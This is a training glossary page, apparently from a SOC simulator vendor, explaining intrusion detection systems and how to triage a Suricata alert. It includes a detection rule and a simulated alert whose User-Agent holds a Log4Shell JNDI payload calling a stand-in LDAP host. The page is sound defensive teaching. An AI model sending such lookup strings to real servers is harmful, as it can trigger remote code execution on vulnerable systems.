What is IDS (Intrusion Detection System)?
An intrusion detection system (IDS) is a security tool that watches network traffic or host activity, compares it against signatures and expected behavior, and raises an alert when something matches. It does not block anything. An analyst, or automation downstream, decides what each alert means and whether to act on it.
Definition
- IDS (Intrusion Detection System)
- An intrusion detection system (IDS) is a security tool that watches network traffic or host activity, compares it against signatures and expected behavior, and raises an alert when something matches. It does not block anything. An analyst, or automation downstream, decides what each alert means and whether to act on it.
How IDS (Intrusion Detection System) Works
There are two places to put one.
- A network IDS (NIDS) receives a copy of traffic from a switch SPAN port or a network TAP and inspects the packets and the protocols inside them; Suricata, Snort, and Zeek are the open-source engines you will meet most.
- A host IDS (HIDS) runs as an agent on a server or workstation and watches log files, file integrity, and system changes; OSSEC is the long-standing open-source example.
NIST SP 800-94, the US government guide to these tools, splits them into four classes: network-based, wireless, network behavior analysis, and host-based. A NIDS sees every host on its segment but cannot read inside encrypted sessions it does not decrypt. A HIDS sees what actually happened on the machine, and only on machines that run the agent.
IDS vs IPS comes down to placement and the rule action. An IPS sits inline, so traffic passes through it and it can drop packets. An IDS sits out of band and can only alert. Suricata does both with the same engine: a rule that starts with alert logs a match, and a rule that starts with drop blocks the packet, but only when Suricata runs inline in IPS mode. The alert records what happened in its action field, which reads allowed unless a drop rule fired in IPS mode or a reject rule fired, in which case it reads blocked. On a passive sensor every alert says allowed, so that field never tells you whether the attack worked.
Most of what fires comes from signatures, patterns of known attacks written as rules. Anomaly detection adds alerts for traffic that departs from a learned baseline, and protocol analysis flags traffic that breaks the rules of HTTP, DNS, or SMB. Signatures are precise and blind to anything nobody has written a rule for; anomaly detection catches some of the new at the price of noise.
Here is a signature and the alert it produces. The rule is a local one written for this page, not a published ruleset entry, and it looks for the Log4Shell lookup string (CVE-2021-44228) in the HTTP User-Agent header:
alert http any any -> $HOME_NET any (msg:"LOCAL Log4j JNDI lookup in User-Agent"; flow:established,to_server; http.user_agent; content:"${jndi:"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)This is the alert as Suricata writes it to eve.json (simulated example generated by SOCSimulator Research; the addresses come from private and documentation ranges):
{"timestamp":"2026-10-08T14:22:31.418922+0000","flow_id":1184732209933312,"event_type":"alert","src_ip":"198.51.100.23","src_port":51544,"dest_ip":"10.20.8.15","dest_port":8080,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":1000001,"rev":1,"signature":"LOCAL Log4j JNDI lookup in User-Agent","category":"Attempted Administrator Privilege Gain","severity":1},"http":{"hostname":"10.20.8.15","url":"/api/login","http_user_agent":"${jndi:ldap://203.0.113.9:1389/a}","http_method":"GET","protocol":"HTTP/1.1","status":401,"length":52},"app_proto":"http"}The same event in the older one-line fast.log format:
10/08/2026-14:22:31.418922 [**] [1:1000001:1] LOCAL Log4j JNDI lookup in User-Agent [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 198.51.100.23:51544 -> 10.20.8.15:8080Read it field by field
Severity 1 comes from the classtype: attempted-admin maps to priority 1 in Suricata's default classification.config, so this lands near the top of the queue whatever the outcome. The action is allowed, which on a passive sensor is always true. The flow_id is the key to everything else, because Suricata writes the http, flow, and fileinfo events of one session under the same flow_id, and jq 'select(.flow_id==1184732209933312)' eve.json returns the whole conversation. The 401 status says the application rejected the login. It does not say nothing logged the header: Log4Shell fires when a vulnerable Log4j writes the string to a log, and failed logins are exactly what applications log.
Triage answers three questions in order
- Is the target exposed? Check whether
10.20.8.15runs a Java service withlog4j-corein the affected range, which NVD gives as 2.0-beta9 through 2.15.0, excluding the 2.12.2, 2.12.3, and 2.3.1 security releases. If the host runs a static nginx site, the match is real and harmless: close it as an attempt against a target that is not vulnerable. - Did the lookup execute? A vulnerable server that processed the string reaches out to the address in the payload, here LDAP on
203.0.113.9port 1389. Search flow events and firewall logs for10.20.8.15connecting to203.0.113.9after 14:22:31. One outbound session is the strongest sign the exploit worked, and it turns the alert into an incident. - Is it a campaign? Count the same
signature_idacross otherdest_ipvalues in the last 24 hours: one source spraying the whole subnet is internet-wide scanning, one hit on the only Java host is targeting.
This signature also has a classic false positive, because vulnerability scanners test for Log4Shell by sending the same string. Check the source against your own scanner ranges before you page anyone.
IDS (Intrusion Detection System) in SOC Operations
Most IDS alerts in a SOC queue are not intrusions. Internal vulnerability scanners, monitoring probes, and odd but legitimate software trip signatures written for attackers, and a sensor running a full public ruleset untuned can bury a queue. Two habits keep that manageable. The first is the outcome question: an IDS tells you an attempt crossed the wire, never whether it worked, so every escalation needs evidence from somewhere else, such as an outbound callback, a new process on the target in EDR, or an authentication event. The second is tuning with a paper trail. Suppress a signature for your scanner's source address instead of disabling it everywhere, disable rules for services you do not run, and write down why, so the next analyst does not switch them back on in the middle of an incident. SOCSimulator rooms put network alerts next to firewall and endpoint data from the same investigation, so you practice the step from 'the signature matched' to 'here is what happened on the host'.
Practice IDS (Intrusion Detection System) in a Real SOC
SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating ids (intrusion detection system) scenarios with zero consequences, free.
Frequently Asked Questions
- What is the difference between IDS and IPS?
- An IDS watches a copy of the traffic and alerts; an IPS sits inline and can drop the packets it matches. Suricata can be either: a rule with the drop action only blocks when the engine runs inline in IPS mode. The trade-off is the cost of a mistake. A bad IDS signature wastes analyst time, a bad IPS signature can block a production application.
- What is the difference between NIDS and HIDS?
- A NIDS inspects network traffic from a SPAN port or TAP and covers every host on that segment, but cannot read encrypted payloads it does not decrypt. A HIDS is an agent on one machine that watches its logs, file integrity, and system changes, so it sees the outcome on that host and nothing anywhere else. Most environments need both views.
- How does an IDS work?
- A network IDS reassembles sessions, parses protocols such as HTTP and DNS, and matches each field against its rules. When a rule matches, it writes an alert with the rule ID, the source and destination addresses and ports, and protocol details such as the URL. Anomaly and protocol checks add alerts for traffic that is unusual or malformed rather than known-bad.
- What does an IDS alert look like?
- In Suricata, one line of EVE JSON: event_type alert, the source and destination IP and port, an alert object with signature_id, signature, category, severity, and action, plus protocol fields such as the HTTP URL and User-Agent. The flow_id field links the alert to every other event Suricata logged for the same session, which is where triage starts.
Sources
Related Terms
An Intrusion Prevention System (IPS) is an active network security control deployed inline that insp...
NDR (network detection and response) is security software that analyzes network traffic, as raw pack...
A firewall is a network security control that inspects traffic crossing a boundary and permits or de...
Alert triage is how a SOC sorts each alert: a Tier 1 analyst checks its context and severity, then c...
Security Information and Event Management (SIEM) is a platform that aggregates, normalizes, and corr...
A false positive in cyber security is an alert that flags benign activity as malicious: the rule fir...
More Tools Terms
Related SOC Training Resources
Gather Victim Identity Information (T1589): Detection Training
Gather Victim Identity Information (T1589) is the reconnaissance step before the real attack: an adversary collects empl…
Read more TechniquePhishing for Information (T1598): Detection Training
Phishing for Information (T1598) is reconnaissance dressed as routine email: the attacker asks for credentials, a callba…
Read more Career PathSOC Analyst (Tier 1) Career Guide: Salary & Skills
Tier 1 SOC Analysts are the front line. You monitor alert queues, triage incoming detections, classify them as true or f…
Read more Career PathSOC Analyst (Tier 2) Career Guide: Salary & Skills
Tier 2 SOC Analysts handle the investigations that Tier 1 escalates. You dig into multi-stage attacks, coordinate contai…
Read more Career PathSecurity Engineer Career Guide: Salary & Skills
Security Engineers build and maintain the infrastructure that SOC analysts depend on. You deploy SIEMs, configure firewa…
Read more ComparisonSOCSimulator vs LetsDefend: Comparison
SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…
Read more ComparisonSOCSimulator vs Hack The Box: Comparison
Different tools for different career paths. SOCSimulator trains defensive analysts. Hack The Box trains offensive securi…
Read more ToolSIEM Training Console: SOCSimulator
The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…
Read more ToolFirewall Training Console: SOCSimulator
The Firewall console in SOCSimulator replicates the log analysis experience of enterprise platforms like Palo Alto Netwo…
Read more TechniqueMITRE ATT&CK® Techniques: Detection Training Library
Browse all MITRE ATT&CK® techniques with detection strategies and example alerts.
Read more Career PathCybersecurity Career Paths: 2026 Guide
Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.
Read more PlaybookSOC Investigation Playbooks: Step-by-Step Guides
Practitioner investigation playbooks with decision trees and real SIEM queries.
Read more